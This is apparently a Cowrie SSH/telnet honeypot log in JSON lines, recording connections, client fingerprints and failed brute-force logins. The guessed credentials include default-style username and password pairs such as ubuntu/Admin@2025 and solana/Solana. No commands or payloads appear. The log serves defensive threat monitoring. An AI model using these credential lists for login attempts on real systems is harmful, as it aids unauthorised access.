{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:24.116374Z","src_ip":"193.32.162.145","session":"fa2b2401024a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:24.228046Z","src_ip":"193.32.162.145","session":"fa2b2401024a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:24.647125Z","src_ip":"193.32.162.145","session":"fa2b2401024a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:25.754443Z","src_ip":"193.32.162.145","session":"fa2b2401024a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20272,"dst_ip":"10.17.0.5","dst_port":22,"session":"add404b1bff1","protocol":"ssh","message":"New connection: 2.57.121.25:20272 (10.17.0.5:22) [session: add404b1bff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:28.756724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:28.759718Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:28.862710Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091991","message":"login attempt [user/11091991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:29.350968Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11081993","message":"login attempt [user/11081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:30.457217Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11051983","message":"login attempt [user/11051983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:31.562470Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11021983","message":"login attempt [user/11021983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:32.668085Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.85.8","src_port":51834,"dst_ip":"159.203.135.109","dst_port":22,"session":"56bb9360e322","protocol":"ssh","message":"New connection: 144.91.85.8:51834 (159.203.135.109:22) [session: 56bb9360e322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:33.538869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:33.542478Z","src_ip":"144.91.85.8","session":"56bb9360e322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:33.633305Z","src_ip":"144.91.85.8","session":"56bb9360e322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10111982","message":"login attempt [user/10111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:33.773747Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappeuser","password":"12345","message":"login attempt [frappeuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:34.028653Z","src_ip":"144.91.85.8","session":"56bb9360e322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:34.879405Z","src_ip":"2.57.121.25","session":"add404b1bff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:38:35.122395Z","src_ip":"144.91.85.8","session":"56bb9360e322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":42008,"dst_ip":"159.203.135.109","dst_port":22,"session":"14fad8521632","protocol":"ssh","message":"New connection: 2.57.122.96:42008 (159.203.135.109:22) [session: 14fad8521632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:16.272416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:16.276467Z","src_ip":"2.57.122.96","session":"14fad8521632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:16.375392Z","src_ip":"2.57.122.96","session":"14fad8521632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"euler","password":"euler","message":"login attempt [euler/euler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:16.677155Z","src_ip":"2.57.122.96","session":"14fad8521632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":50438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad3f312a3777","protocol":"ssh","message":"New connection: 27.111.32.174:50438 (159.203.135.109:22) [session: ad3f312a3777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:17.089495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:17.093849Z","src_ip":"27.111.32.174","session":"ad3f312a3777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:17.348979Z","src_ip":"27.111.32.174","session":"ad3f312a3777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:17.779689Z","src_ip":"2.57.122.96","session":"14fad8521632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales1","password":"12345678","message":"login attempt [sales1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:18.403502Z","src_ip":"27.111.32.174","session":"ad3f312a3777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:19.660997Z","src_ip":"27.111.32.174","session":"ad3f312a3777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18239,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd596525c929","protocol":"ssh","message":"New connection: 2.57.121.25:18239 (159.203.135.109:22) [session: bd596525c929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:36.876206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:36.880498Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:36.974873Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091991","message":"login attempt [user/11091991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:37.428801Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11081993","message":"login attempt [user/11081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:38.526503Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11051983","message":"login attempt [user/11051983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:39.623255Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11021983","message":"login attempt [user/11021983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:40.719548Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10111982","message":"login attempt [user/10111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:41.816634Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:42.913351Z","src_ip":"2.57.121.25","session":"bd596525c929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.99.195.230","src_port":33730,"dst_ip":"159.203.135.109","dst_port":22,"session":"f45c50d9df7a","protocol":"ssh","message":"New connection: 92.99.195.230:33730 (159.203.135.109:22) [session: f45c50d9df7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:43.461801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:43.466219Z","src_ip":"92.99.195.230","session":"f45c50d9df7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:43.670399Z","src_ip":"92.99.195.230","session":"f45c50d9df7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@2025","message":"login attempt [ubuntu/Admin@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:44.513883Z","src_ip":"92.99.195.230","session":"f45c50d9df7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:45.718541Z","src_ip":"92.99.195.230","session":"f45c50d9df7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":56564,"dst_ip":"159.203.135.109","dst_port":23,"session":"165cd2040183","protocol":"telnet","message":"New connection: 130.12.180.174:56564 (159.203.135.109:23) [session: 165cd2040183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:53.872887Z"}
{"eventid":"cowrie.session.closed","duration":0.500798225402832,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:39:54.373600Z","src_ip":"130.12.180.174","session":"165cd2040183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44144,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2f736bf5818","protocol":"ssh","message":"New connection: 195.178.110.218:44144 (159.203.135.109:22) [session: a2f736bf5818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:09.806871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:09.811920Z","src_ip":"195.178.110.218","session":"a2f736bf5818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:09.891642Z","src_ip":"195.178.110.218","session":"a2f736bf5818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:40:10.130950Z","src_ip":"195.178.110.218","session":"a2f736bf5818","protocol":"ssh"}
